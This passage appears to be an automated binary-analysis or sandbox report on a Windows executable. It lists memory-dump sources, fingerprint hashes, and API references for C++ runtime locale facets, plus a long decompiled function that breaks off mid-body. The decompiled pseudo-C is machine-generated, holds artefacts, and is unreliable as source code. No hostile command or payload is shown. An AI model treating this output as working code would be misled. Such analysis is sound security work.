__CxxThrowException@8.LIBVCRUNTIME ref: 00AD66F9

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmoneypunctstd::locale::_
String ID:
API String ID: 2429134193-0
Opcode ID: d2f4ebd09e2b262fbf631ad649ffdbb84d8f2296156a23798969fc31a8c47777
Instruction ID: a36339142e6c1cdc093d99c6255a61b69e3571617635e3f0a9105862cb7844ea
Opcode Fuzzy Hash: d2f4ebd09e2b262fbf631ad649ffdbb84d8f2296156a23798969fc31a8c47777
Instruction Fuzzy Hash: C011C2769006298BCF04EBA4D946AEDB3B5BF44310F65440EF822B7392DF74DA05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC90C5, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC90CC
std::_Lockit::_Lockit.LIBCPMT ref: 00AC90D6

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC90F6
codecvt.LIBCPMT ref: 00AC9110
std::_Facet_Register.LIBCPMT ref: 00AC9127
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9147
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9165

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowcodecvtstd::locale::_
String ID:
API String ID: 1243920060-0
Opcode ID: 36418f628599aea66a850b0a6ec2b8524c8b58d99d9e9aebd88374c69d680aba
Instruction ID: ae3d560a3442e20090932733eb47d6e4dca7ee3a0cd01c737a9355315d341ded
Opcode Fuzzy Hash: 36418f628599aea66a850b0a6ec2b8524c8b58d99d9e9aebd88374c69d680aba
Instruction Fuzzy Hash: 8411C2769005198BCF05EBA4D94AFFEB3B5AF44310F1A450DF82167292DF749E05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC916B, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9172
std::_Lockit::_Lockit.LIBCPMT ref: 00AC917C

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC919C
codecvt.LIBCPMT ref: 00AC91B6
std::_Facet_Register.LIBCPMT ref: 00AC91CD
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC91ED
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC920B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowcodecvtstd::locale::_
String ID:
API String ID: 1243920060-0
Opcode ID: 058839f477830aa02b9046a0a6e7ea795b25de3650b596e3184d28a0ef43e3e0
Instruction ID: 2e3bfb6304c5bb81746d4180ecc7355cb17166fba1b4012dc9a72604de6d78e4
Opcode Fuzzy Hash: 058839f477830aa02b9046a0a6e7ea795b25de3650b596e3184d28a0ef43e3e0
Instruction Fuzzy Hash: 8F11E0769006198BCF00EBA8C95AFEEB7F5BF95310F1A010DF42267292DF749A01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC92B7, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC92BE
std::_Lockit::_Lockit.LIBCPMT ref: 00AC92C8

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC92E8
collate.LIBCPMT ref: 00AC9302
std::_Facet_Register.LIBCPMT ref: 00AC9319
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9339
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC9357

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowcollatestd::locale::_
String ID:
API String ID: 360923863-0
Opcode ID: 95c83ca0173947a8499c52fb5f72949128b39ed281df7917115ed4b688d2f6d0
Instruction ID: 947389f68b12c44f51b704a5bac6e7c392772bf7300de65be9a02abe1643d69e
Opcode Fuzzy Hash: 95c83ca0173947a8499c52fb5f72949128b39ed281df7917115ed4b688d2f6d0
Instruction Fuzzy Hash: 0811A3769006298BCF14EBA4C946FEE77B5BF54310F16040DF5116B292DF749E01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9211, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00AC9211(void* __edx, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				char _v32;
				intOrPtr _v92;
				void* _t343;
				void* _t354;
				void* _t365;
				void* _t376;
				void* _t387;
				void* _t398;
				void* _t409;
				void* _t420;
				void* _t431;
				void* _t442;
				void* _t453;
				void* _t464;
				void* _t475;
				void* _t486;
				void* _t497;
				void* _t508;
				void* _t519;
				void* _t530;
				void* _t541;
				void* _t552;
				void* _t563;
				void* _t574;
				void* _t585;
				void* _t596;
				void* _t704;
				short* _t872;
				void* _t945;
				void* _t946;
				signed int _t947;
				signed int _t948;
				signed int _t949;
				signed int _t950;
				signed int _t951;
				signed int _t952;
				signed int _t953;
				signed int _t954;
				signed int _t955;
				signed int _t956;
				signed int _t957;
				signed int _t958;
				signed int _t959;
				signed int _t960;
				signed int _t961;
				signed int _t962;
				signed int _t963;
				signed int _t964;
				signed int _t965;
				signed int _t966;
				signed int _t967;
				signed int _t968;
				signed int _t969;
				signed int _t970;
				signed int _t971;
				signed int _t972;
				signed int _t973;
				signed int _t974;
				signed int _t975;
				signed int _t976;
				signed int _t977;
				signed int _t978;
				signed int _t979;
				signed int _t980;
				signed int _t981;
				signed int _t982;
				signed int _t983;
				signed int _t984;
				signed int _t985;
				signed int _t986;
				signed int _t987;
				signed int _t988;
				signed int _t989;
				signed int _t990;
				signed int _t991;
				signed int _t992;
				signed int _t993;
				signed int _t994;
				short* _t995;

				_t945 = __edx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94( &_v20, 0);
				_t971 =  *0xb45c7c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t971;
				_t343 = E00AB1310(_t704, 0xb45c18, _t946, _t971);
				_t707 = _a8;
				_t947 = E00AC3FEF(_a8, _t343);
				if(_t947 != 0) {
					L5:
					E00AC2FED( &_v20);
					E00ADAEB2();
					return _t947;
				} else {
					if(_t971 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E00ACAFF2(_t707, _t945, _t971) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4( &_v32);
							E00AF1677( &_v32, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94( &_v20, 0);
							_t972 =  *0xb45c48; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t972;
							_t354 = E00AB1310(_t704, 0xb45bf0, _t947, _t972);
							_t714 = _a8;
							_t948 = E00AC3FEF(_a8, _t354);
							__eflags = _t948;
							if(_t948 != 0) {
								L12:
								E00AC2FED( &_v20);
								E00ADAEB2();
								return _t948;
							} else {
								__eflags = _t972;
								if(_t972 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E00ACB094(_t714, _t945, _t972) - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4( &_v32);
										E00AF1677( &_v32, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94( &_v20, 0);
										_t973 =  *0xb45c6c; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t973;
										_t365 = E00AB1310(_t704, 0xb45b14, _t948, _t973);
										_t721 = _a8;
										_t949 = E00AC3FEF(_a8, _t365);
										__eflags = _t949;
										if(_t949 != 0) {
											L19:
											E00AC2FED( &_v20);
											E00ADAEB2();
											return _t949;
										} else {
											__eflags = _t973;
											if(_t973 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E00ACB136(_t721, _t945, _t973) - 0xffffffff;
												if(__eflags == 0) {
													E00AC38B4( &_v32);
													E00AF1677( &_v32, 0xb3dcf8);
													asm("int3");
													_push(0x14);
													E00ADAEE9();
													E00AC2F94( &_v20, 0);
													_t974 =  *0xb45c38; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t974;
													_t376 = E00AB1310(_t704, 0xb45b20, _t949, _t974);
													_t728 = _a8;
													_t950 = E00AC3FEF(_a8, _t376);
													__eflags = _t950;
													if(_t950 != 0) {
														L26:
														E00AC2FED( &_v20);
														E00ADAEB2();
														return _t950;
													} else {
														__eflags = _t974;
														if(_t974 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E00ACB1A6(_t728, _t945, _t974) - 0xffffffff;
															if(__eflags == 0) {
																E00AC38B4( &_v32);
																E00AF1677( &_v32, 0xb3dcf8);
																asm("int3");
																_push(0x14);
																E00ADAEE9();
																E00AC2F94( &_v20, 0);
																_t975 =  *0xb45c80; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t975;
																_t387 = E00AB1310(_t704, 0xb45c1c, _t950, _t975);
																_t735 = _a8;
																_t951 = E00AC3FEF(_a8, _t387);
																__eflags = _t951;
																if(_t951 != 0) {
																	L33:
																	E00AC2FED( &_v20);
																	E00ADAEB2();
																	return _t951;
																} else {
																	__eflags = _t975;
																	if(_t975 == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E00ACB216(_t735, _t945, _t975) - 0xffffffff;
																		if(__eflags == 0) {
																			E00AC38B4( &_v32);
																			E00AF1677( &_v32, 0xb3dcf8);
																			asm("int3");
																			_push(0x14);
																			E00ADAEE9();
																			E00AC2F94( &_v20, 0);
																			_t976 =  *0xb45c4c; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t976;
																			_t398 = E00AB1310(_t704, 0xb45bf4, _t951, _t976);
																			_t742 = _a8;
																			_t952 = E00AC3FEF(_a8, _t398);
																			__eflags = _t952;
																			if(_t952 != 0) {
																				L40:
																				E00AC2FED( &_v20);
																				E00ADAEB2();
																				return _t952;
																			} else {
																				__eflags = _t976;
																				if(_t976 == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E00ACB27E(_t742, _t945, _t976) - 0xffffffff;
																					if(__eflags == 0) {
																						E00AC38B4( &_v32);
																						E00AF1677( &_v32, 0xb3dcf8);
																						asm("int3");
																						_push(0x14);
																						E00ADAEE9();
																						E00AC2F94( &_v20, 0);
																						_t977 =  *0xb45c84; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t977;
																						_t409 = E00AB1310(_t704, 0xb45c20, _t952, _t977);
																						_t749 = _a8;
																						_t953 = E00AC3FEF(_a8, _t409);
																						__eflags = _t953;
																						if(_t953 != 0) {
																							L47:
																							E00AC2FED( &_v20);
																							E00ADAEB2();
																							return _t953;
																						} else {
																							__eflags = _t977;
																							if(_t977 == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E00ACB2E6(_t749, _t945, _t977) - 0xffffffff;
																								if(__eflags == 0) {
																									E00AC38B4( &_v32);
																									E00AF1677( &_v32, 0xb3dcf8);
																									asm("int3");
																									_push(0x14);
																									E00ADAEE9();
																									E00AC2F94( &_v20, 0);
																									_t978 =  *0xb45c50; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t978;
																									_t420 = E00AB1310(_t704, 0xb45bf8, _t953, _t978);
																									_t756 = _a8;
																									_t954 = E00AC3FEF(_a8, _t420);
																									__eflags = _t954;
																									if(_t954 != 0) {
																										L54:
																										E00AC2FED( &_v20);
																										E00ADAEB2();
																										return _t954;
																									} else {
																										__eflags = _t978;
																										if(_t978 == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E00ACB34E(_t756, _t945, _t978) - 0xffffffff;
																											if(__eflags == 0) {
																												E00AC38B4( &_v32);
																												E00AF1677( &_v32, 0xb3dcf8);
																												asm("int3");
																												_push(0x14);
																												E00ADAEE9();
																												E00AC2F94( &_v20, 0);
																												_t979 =  *0xb45c88; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t979;
																												_t431 = E00AB1310(_t704, 0xb45c24, _t954, _t979);
																												_t763 = _a8;
																												_t955 = E00AC3FEF(_a8, _t431);
																												__eflags = _t955;
																												if(_t955 != 0) {
																													L61:
																													E00AC2FED( &_v20);
																													E00ADAEB2();
																													return _t955;
																												} else {
																													__eflags = _t979;
																													if(_t979 == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E00ACB3B6(_t763, _t945, _t979) - 0xffffffff;
																														if(__eflags == 0) {
																															E00AC38B4( &_v32);
																															E00AF1677( &_v32, 0xb3dcf8);
																															asm("int3");
																															_push(0x14);
																															E00ADAEE9();
																															E00AC2F94( &_v20, 0);
																															_t980 =  *0xb45c54; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t980;
																															_t442 = E00AB1310(_t704, 0xb45bfc, _t955, _t980);
																															_t770 = _a8;
																															_t956 = E00AC3FEF(_a8, _t442);
																															__eflags = _t956;
																															if(_t956 != 0) {
																																L68:
																																E00AC2FED( &_v20);
																																E00ADAEB2();
																																return _t956;
																															} else {
																																__eflags = _t980;
																																if(_t980 == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E00ACB41E(_t770, _t945, _t980) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E00AC38B4( &_v32);
																																		E00AF1677( &_v32, 0xb3dcf8);
																																		asm("int3");
																																		_push(0x14);
																																		E00ADAEE9();
																																		E00AC2F94( &_v20, 0);
																																		_t981 =  *0xb45c90; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t981;
																																		_t453 = E00AB1310(_t704, 0xb45c2c, _t956, _t981);
																																		_t777 = _a8;
																																		_t957 = E00AC3FEF(_a8, _t453);
																																		__eflags = _t957;
																																		if(_t957 != 0) {
																																			L75:
																																			E00AC2FED( &_v20);
																																			E00ADAEB2();
																																			return _t957;
																																		} else {
																																			__eflags = _t981;
																																			if(_t981 == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E00ACB486(_t777, _t945, _t981) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E00AC38B4( &_v32);
																																					E00AF1677( &_v32, 0xb3dcf8);
																																					asm("int3");
																																					_push(0x14);
																																					E00ADAEE9();
																																					E00AC2F94( &_v20, 0);
																																					_t982 =  *0xb45c8c; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t982;
																																					_t464 = E00AB1310(_t704, 0xb45c28, _t957, _t982);
																																					_t784 = _a8;
																																					_t958 = E00AC3FEF(_a8, _t464);
																																					__eflags = _t958;
																																					if(_t958 != 0) {
																																						L82:
																																						E00AC2FED( &_v20);
																																						E00ADAEB2();
																																						return _t958;
																																					} else {
																																						__eflags = _t982;
																																						if(_t982 == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E00ACB50A(_t784, _t945, _t982) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E00AC38B4( &_v32);
																																								E00AF1677( &_v32, 0xb3dcf8);
																																								asm("int3");
																																								_push(0x14);
																																								E00ADAEE9();
																																								E00AC2F94( &_v20, 0);
																																								_t983 =  *0xb45c5c; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t983;
																																								_t475 = E00AB1310(_t704, 0xb45c04, _t958, _t983);
																																								_t791 = _a8;
																																								_t959 = E00AC3FEF(_a8, _t475);
																																								__eflags = _t959;
																																								if(_t959 != 0) {
																																									L89:
																																									E00AC2FED( &_v20);
																																									E00ADAEB2();
																																									return _t959;
																																								} else {
																																									__eflags = _t983;
																																									if(_t983 == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E00ACB58F(_t791, _t945, _t983) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E00AC38B4( &_v32);
																																											E00AF1677( &_v32, 0xb3dcf8);
																																											asm("int3");
																																											_push(0x14);
																																											E00ADAEE9();
																																											E00AC2F94( &_v20, 0);
																																											_t984 =  *0xb45c58; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t984;
																																											_t486 = E00AB1310(_t704, 0xb45c00, _t959, _t984);
																																											_t798 = _a8;
																																											_t960 = E00AC3FEF(_a8, _t486);
																																											__eflags = _t960;
																																											if(_t960 != 0) {
																																												L96:
																																												E00AC2FED( &_v20);
																																												E00ADAEB2();
																																												return _t960;
																																											} else {
																																												__eflags = _t984;
																																												if(_t984 == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E00ACB613(_t798, _t945, _t984) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E00AC38B4( &_v32);
																																														E00AF1677( &_v32, 0xb3dcf8);
																																														asm("int3");
																																														_push(0x14);
																																														E00ADAEE9();
																																														E00AC2F94( &_v20, 0);
																																														_t985 =  *0xb45c70; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t985;
																																														_t497 = E00AB1310(_t704, 0xb45c0c, _t960, _t985);
																																														_t805 = _a8;
																																														_t961 = E00AC3FEF(_a8, _t497);
																																														__eflags = _t961;
																																														if(_t961 != 0) {
																																															L103:
																																															E00AC2FED( &_v20);
																																															E00ADAEB2();
																																															return _t961;
																																														} else {
																																															__eflags = _t985;
																																															if(_t985 == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E00ACB698(_t805, _t945, _t985) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E00AC38B4( &_v32);
																																																	E00AF1677( &_v32, 0xb3dcf8);
																																																	asm("int3");
																																																	_push(0x14);
																																																	E00ADAEE9();
																																																	E00AC2F94( &_v20, 0);
																																																	_t986 =  *0xb45c3c; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t986;
																																																	_t508 = E00AB1310(_t704, 0xb45be4, _t961, _t986);
																																																	_t812 = _a8;
																																																	_t962 = E00AC3FEF(_a8, _t508);
																																																	__eflags = _t962;
																																																	if(_t962 != 0) {
																																																		L110:
																																																		E00AC2FED( &_v20);
																																																		E00ADAEB2();
																																																		return _t962;
																																																	} else {
																																																		__eflags = _t986;
																																																		if(_t986 == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E00ACB700(_t812, _t945, _t986) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E00AC38B4( &_v32);
																																																				E00AF1677( &_v32, 0xb3dcf8);
																																																				asm("int3");
																																																				_push(0x14);
																																																				E00ADAEE9();
																																																				E00AC2F94( &_v20, 0);
																																																				_t987 =  *0xb45c74; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t987;
																																																				_t519 = E00AB1310(_t704, 0xb45c10, _t962, _t987);
																																																				_t819 = _a8;
																																																				_t963 = E00AC3FEF(_a8, _t519);
																																																				__eflags = _t963;
																																																				if(_t963 != 0) {
																																																					L117:
																																																					E00AC2FED( &_v20);
																																																					E00ADAEB2();
																																																					return _t963;
																																																				} else {
																																																					__eflags = _t987;
																																																					if(_t987 == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E00ACB768(_t819, _t945, _t987) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E00AC38B4( &_v32);
																																																							E00AF1677( &_v32, 0xb3dcf8);
																																																							asm("int3");
																																																							_push(0x14);
																																																							E00ADAEE9();
																																																							E00AC2F94( &_v20, 0);
																																																							_t988 =  *0xb45c40; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t988;
																																																							_t530 = E00AB1310(_t704, 0xb45be8, _t963, _t988);
																																																							_t826 = _a8;
																																																							_t964 = E00AC3FEF(_a8, _t530);
																																																							__eflags = _t964;
																																																							if(_t964 != 0) {
																																																								L124:
																																																								E00AC2FED( &_v20);
																																																								E00ADAEB2();
																																																								return _t964;
																																																							} else {
																																																								__eflags = _t988;
																																																								if(_t988 == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E00ACB7D0(_t826, _t945, _t988) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E00AC38B4( &_v32);
																																																										E00AF1677( &_v32, 0xb3dcf8);
																																																										asm("int3");
																																																										_push(0x14);
																																																										E00ADAEE9();
																																																										E00AC2F94( &_v20, 0);
																																																										_t989 =  *0xb45c78; // 0x0
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t989;
																																																										_t541 = E00AB1310(_t704, 0xb45c14, _t964, _t989);
																																																										_t833 = _a8;
																																																										_t965 = E00AC3FEF(_a8, _t541);
																																																										__eflags = _t965;
																																																										if(_t965 != 0) {
																																																											L131:
																																																											E00AC2FED( &_v20);
																																																											E00ADAEB2();
																																																											return _t965;
																																																										} else {
																																																											__eflags = _t989;
																																																											if(_t989 == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E00ACB838(_t833, _t945, _t989) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E00AC38B4( &_v32);
																																																													E00AF1677( &_v32, 0xb3dcf8);
																																																													asm("int3");
																																																													_push(0x14);
																																																													E00ADAEE9();
																																																													E00AC2F94( &_v20, 0);
																																																													_t990 =  *0xb45c44; // 0x0
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t990;
																																																													_t552 = E00AB1310(_t704, 0xb45bec, _t965, _t990);
																																																													_t840 = _a8;
																																																													_t966 = E00AC3FEF(_a8, _t552);
																																																													__eflags = _t966;
																																																													if(_t966 != 0) {
																																																														L138:
																																																														E00AC2FED( &_v20);
																																																														E00ADAEB2();
																																																														return _t966;
																																																													} else {
																																																														__eflags = _t990;
																																																														if(_t990 == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E00ACB8B3(_t840, _t945, _t990) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E00AC38B4( &_v32);
																																																																E00AF1677( &_v32, 0xb3dcf8);
																																																																asm("int3");
																																																																_push(0x14);
																																																																E00ADAEE9();
																																																																E00AC2F94( &_v20, 0);
																																																																_t991 =  *0xb45c94; // 0x0
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t991;
																																																																_t563 = E00AB1310(_t704, 0xb45c30, _t966, _t991);
																																																																_t847 = _a8;
																																																																_t967 = E00AC3FEF(_a8, _t563);
																																																																__eflags = _t967;
																																																																if(_t967 != 0) {
																																																																	L145:
																																																																	E00AC2FED( &_v20);
																																																																	E00ADAEB2();
																																																																	return _t967;
																																																																} else {
																																																																	__eflags = _t991;
																																																																	if(_t991 == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		__eflags = E00ACB92E(_t847, _t945) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E00AC38B4( &_v32);
																																																																			E00AF1677( &_v32, 0xb3dcf8);
																																																																			asm("int3");
																																																																			_push(0x14);
																																																																			E00ADAEE9();
																																																																			E00AC2F94( &_v20, 0);
																																																																			_t992 =  *0xb45c60; // 0x0
																																																																			_v4 = _v4 & 0x00000000;
																																																																			_v16 = _t992;
																																																																			_t574 = E00AB1310(_t704, 0xb45c08, _t967, _t992);
																																																																			_t854 = _a8;
																																																																			_t968 = E00AC3FEF(_a8, _t574);
																																																																			__eflags = _t968;
																																																																			if(_t968 != 0) {
																																																																				L152:
																																																																				E00AC2FED( &_v20);
																																																																				E00ADAEB2();
																																																																				return _t968;
																																																																			} else {
																																																																				__eflags = _t992;
																																																																				if(_t992 == 0) {
																																																																					_push(_a8);
																																																																					_push( &_v16);
																																																																					__eflags = E00ACB99A(_t854, _t945) - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						E00AC38B4( &_v32);
																																																																						E00AF1677( &_v32, 0xb3dcf8);
																																																																						asm("int3");
																																																																						_push(0x14);
																																																																						E00ADAEE9();
																																																																						E00AC2F94( &_v20, 0);
																																																																						_t993 =  *0xb45c98; // 0x0
																																																																						_v4 = _v4 & 0x00000000;
																																																																						_v16 = _t993;
																																																																						_t585 = E00AB1310(_t704, 0xb45c34, _t968, _t993);
																																																																						_t861 = _a8;
																																																																						_t969 = E00AC3FEF(_a8, _t585);
																																																																						__eflags = _t969;
																																																																						if(_t969 != 0) {
																																																																							L159:
																																																																							E00AC2FED( &_v20);
																																																																							E00ADAEB2();
																																																																							return _t969;
																																																																						} else {
																																																																							__eflags = _t993;
																																																																							if(_t993 == 0) {
																																																																								_push(_a8);
																																																																								_push( &_v16);
																																																																								__eflags = E00ACBA06(_t861, _t945) - 0xffffffff;
																																																																								if(__eflags == 0) {
																																																																									E00AC38B4( &_v32);
																																																																									E00AF1677( &_v32, 0xb3dcf8);
																																																																									asm("int3");
																																																																									_push(0x14);
																																																																									E00ADAEE9();
																																																																									E00AC2F94( &_v20, 0);
																																																																									_t994 =  *0xb45c64; // 0x0
																																																																									_v4 = _v4 & 0x00000000;
																																																																									_v16 = _t994;
																																																																									_t596 = E00AB1310(_t704, 0xb45be0, _t969, _t994);
																																																																									_t868 = _a8;
																																																																									_t970 = E00AC3FEF(_a8, _t596);
																																																																									__eflags = _t970;
																																																																									if(_t970 != 0) {
																																																																										L166:
																																																																										E00AC2FED( &_v20);
																																																																										E00ADAEB2();
																																																																										return _t970;
																																																																									} else {
																																																																										__eflags = _t994;
																																																																										if(_t994 == 0) {
																																																																											_push(_a8);
																																																																											_push( &_v16);
																																																																											__eflags = E00ACBA6C(_t868, _t945) - 0xffffffff;
																																																																											if(__eflags == 0) {
																																																																												_t872 =  &_v32;
																																																																												E00AC38B4(_t872);
																																																																												E00AF1677( &_v32, 0xb3dcf8);
																																																																												asm("int3");
																																																																												_push(_t994);
																																																																												_t995 = _t872;
																																																																												_t338 = _t995 + 0x10;
																																																																												 *_t338 =  *(_t995 + 0x10) & 0x00000000;
																																																																												__eflags =  *_t338;
																																																																												 *((intOrPtr*)(_t995 + 0x14)) = 7;
																																																																												 *_t995 = 0;
																																																																												E00AD1A97(_v92);
																																																																												return _t995;
																																																																											} else {
																																																																												_t970 = _v16;
																																																																												_v16 = _t970;
																																																																												_v4 = 1;
																																																																												E00AC70E1(__eflags, _t970);
																																																																												 *0xb1531c();
																																																																												 *((intOrPtr*)( *((intOrPtr*)( *_t970 + 4))))();
																																																																												 *0xb45c64 = _t970;
																																																																												goto L166;
																																																																											}
																																																																										} else {
																																																																											_t970 = _t994;
																																																																											goto L166;
																																																																										}
																																																																									}
																																																																								} else {
																																																																									_t969 = _v16;
																																																																									_v16 = _t969;
																																																																									_v4 = 1;
																																																																									E00AC70E1(__eflags, _t969);
